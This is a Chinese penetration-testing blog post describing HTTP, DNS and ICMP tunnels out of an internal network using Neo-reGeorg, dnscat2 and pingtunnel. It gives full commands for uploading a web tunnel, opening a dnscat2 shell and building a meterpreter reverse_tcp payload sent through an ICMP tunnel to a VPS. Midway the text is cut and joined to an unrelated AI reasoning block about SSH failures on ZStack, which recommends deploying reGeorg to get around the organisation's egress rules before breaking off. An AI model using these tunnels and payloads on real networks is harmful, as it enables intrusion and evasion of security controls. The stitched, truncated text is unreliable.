HTTP-DNS-ICMP代理隧道

HTTP代理隧道

环境

kail虚拟机:桥接模式,(IP地址:192.168.1.5),主要用作外围机 win10虚拟机:桥接模式(IP地址:192.168.1.6)nat模式(IP地址:192.168.126.138)其主要用作边界服务器 windows server:nat模式(IP地址:192.168.126.131)其主要做内网服务器

Neo-reGeorg
#查看可选参数
python3 neoreg.py -h

1.设置密码生成tunnel.(aspx|ashx|jsp|jspx|php)并上传到WEB服务器

python3 neoreg.py generate -k passwd

2.下载tunnel脚本到目标WEB服务

wget http://XX.XX.XX.XX:XX/8000jsp

3.使用neoreg.py连接WEB服务器,在本地建立socks代理,代理默认端口1080

python3 neoreg.py -k passwd -u http://XX.XX.XX.XX:XX/脚本下载的地址/tunnel.jsp

4.执行完成会返回对应代理配置在浏览器设置代理直接就能访问内网了。

DNS代理隧道
直连

1 先在攻击机kali上开启服务

#进入 ~/dnscat2/server,输入命令开启服务
ruby dnscat2.rb

2 对于windows系统需要执行dnscat2.exe

#secret等于的值为开启服务生成的值
dnscat2.exe --dns server=192.168.80.135,port=53 --secret=7a7192afe8930a665e19532716f487d8

3 进入交互

session -i 1

4 生成shell窗口

shell

5 进行交互

session -i 2
  • 直连流量特征

Dnscat2中继模式

DNS解析先经过互联网的迭代解析,最后指向我们的恶意DNS服务器。相比直连慢,但是安全。

ICMP隧道

通过某种信道获取了内网主机的shell,但是当前信道不适合做远控的通信信道,

tcp 和 udp 等传输层协议不能出网, dns 、 http 等应用层协议也不能出网,只有

icmp 协议可以出网。

ICMP隧道转发TCP上线MSF

1 VPS启动ICMP隧道服务端 192.168.80.135,icmp服务端和msf服务都在此VPS上

./pingtunnel -type server

2 靶机启动ICMP隧道客户端

pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.80.135
-t 192.168.80.135:7777 -tcp 1 -noprint 1 -nolog 1

icmp 客户端监听 127.0.0.1:9999 ,通过连接到 192.168.80.135 的 icmp 隧道,将 127.0.0.1:9999 收到的 tcp 数据包转发到 192.168.80.135:7777

3 MSF 生成反弹 shell 的 payload 上传到靶机

msfvenom -p windows/x64/meterpreter/reverse_tcp
lhost=127.0.0.1 lport=9999 -f exe > 9999.exe

4 执行 payload 反弹 shell 到 MSF

<think>我们正在排查ZStack私有云平台中SSH连接失败的问题,用户提到错误代码1,并且环境中有安全组策略限制:禁止非80/443端口出站,关键服务器禁止ICMP,业务服务器DNS白名单。这些策略可能导致SSH连接失败,因为SSH默认使用22端口,而安全组可能阻止了该端口的出站或入站。分析:1.SSH连接超时错误代码1通常表示连接被拒绝或无法建立,可能是网络策略阻止。2.安全组策略禁止非80/443端口出站:这意味着从内部服务器主动发起的SSH连接(使用22端口)会被阻止,因为22端口不在允许的出站端口(80/443)中。3.关键服务器禁止ICMP:这可能导致无法通过ping测试网络连通性,但不会直接影响SSH连接(除非依赖ICMP的底层网络检查)。4.业务服务器DNS白名单:如果SSH连接需要解析域名,而DNS服务器不在白名单中,则无法解析域名,导致SSH连接失败(如果使用域名连接)。解决思路:1.检查安全组规则:确保允许SSH流量的入站和出站。SSH需要22端口的入站(目标服务器)和出站(客户端)允许。2.由于安全组禁止非80/443端口出站,我们需要调整策略以允许22端口的出站(如果客户端在云平台内)或者考虑使用其他方法(如通过80/443端口进行SSH隧道,因为这两个端口是允许出站的)。3.如果无法修改安全组规则,可以考虑将SSH服务端口改为80或443(但这可能与现有Web服务冲突),或者使用端口转发。具体步骤:###一、检查安全组规则在ZStack私有云平台中,检查涉及的安全组:1.登录ZStack管理界面。2.找到目标虚拟机所属的安全组,检查入站规则(Ingress)和出站规则(Egress)。3.确认是否有针对SSH(22端口)的允许规则,如果没有,需要添加。注意:安全组规则需要同时考虑源和目的。例如:-入站规则:允许源IP(或CIDR)访问目标端口22(TCP)。-出站规则:允许目标端口22(TCP)的出站流量(如果客户端在云平台内,从虚拟机发起SSH到外部需要此规则)。但是,用户环境有特殊策略:禁止非80/443端口出站。这意味着即使添加了22端口的入站规则,虚拟机也无法通过22端口主动向外发起连接(例如连接到外部跳板机)。如果是外部连接虚拟机,则只需要入站规则允许22端口,而出站响应通常会被自动允许(状态化防火墙)。因此,问题可能出现在:-外部连接虚拟机:如果安全组入站规则没有允许22端口,则连接会被拒绝。-虚拟机主动向外发起SSH连接:由于出站规则禁止非80/443端口,所以连接会失败。###二、调整安全组规则(推荐)1.**入站规则**:添加一条允许源IP(或范围)访问22端口的规则。2.**出站规则**:如果虚拟机需要主动连接外部的SSH服务器(22端口),则需要添加一条允许目标端口22的出站规则。但是,由于策略禁止非80/443端口出站,这可能需要例外审批。如果无法添加22端口的出站规则,可以考虑以下替代方案:###三、使用HTTP/HTTPS隧道进行SSH(绕过端口限制)由于出站允许80/443端口,我们可以将SSH流量封装在HTTP/HTTPS协议中。方法:1.在目标虚拟机(需要SSH访问的机器)上部署一个HTTP隧道服务端(如reGeorg)。2.在本地攻击机(或跳板机)上使用隧道客户端,通过HTTP/HTTPS端口与虚拟机建立隧道。3.通过隧道进行SSH连接。步骤示例:-在虚拟机上上传reGeorg的tunnel脚本(如tunnel.jsp或tunnel.php)。-在本地运行:```bashpythonreGeorgSocksProxy.py-uhttp://虚拟机IP/tunnel.jsp-p1080```这将在本地1080端口创建一个SOCKS代理-使用SSH通过SOCKS代理连接:```bashssh-oProxyCommand='nc-x
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值